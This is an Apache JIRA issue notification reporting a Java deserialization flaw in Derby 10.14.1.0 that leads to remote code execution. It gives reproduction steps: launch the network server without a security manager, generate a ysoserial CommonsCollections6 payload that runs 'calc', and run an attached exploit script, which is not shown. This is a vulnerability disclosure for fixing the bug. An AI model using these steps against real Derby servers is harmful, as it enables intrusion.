[jira] [Created] (DERBY-6993) Derby Deserialization Vulnerability Leads to RCE

["Ricter Zheng (JIRA)" <ji...@apache.org>]

Ricter Zheng created DERBY-6993:
-----------------------------------

             Summary: Derby Deserialization Vulnerability Leads to RCE
                 Key: DERBY-6993
                 URL: https://issues.apache.org/jira/browse/DERBY-6993
             Project: Derby
          Issue Type: Bug
    Affects Versions: 10.14.1.0
         Environment: Windows 10
            Reporter: Ricter Zheng
         Attachments: image-2018-03-27-11-42-23-176.png

Launch derby with a vulnerability Java library and `-noSecuriyManager` options

 
{code:java}
"C:\Program Files\Java\jdk1.8.0_144\bin\java.exe"  -classpath "C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0-bin\bin\../lib/derby.jar;C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0 -bin\bin\../lib/derbynet.jar;C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0-bin\bin\../lib/derbyclient.jar;C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0-bin\bin\../lib/derbytools.jar;C:\Users\ricterzheng\Downloads\db-derby-10.14.1.0-bin\bin\../lib/derbyoptionaltools.jar;..\lib\commons-collections.jar" org.apache.derby.drda.NetworkServerControl start -noSecurityManager{code}
 

Generate a Java deserialization payload use ysoserial:

 
{code:java}
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 calc > /path/to/exp.py/payload.data{code}
 

Then run the script in the attachment, will execute `calc`.
{code:java}
python exp.py{code}
!image-2018-03-27-11-42-23-176.png!



--
This message was sent by Atlassian JIRA
(v7.6.3#76005)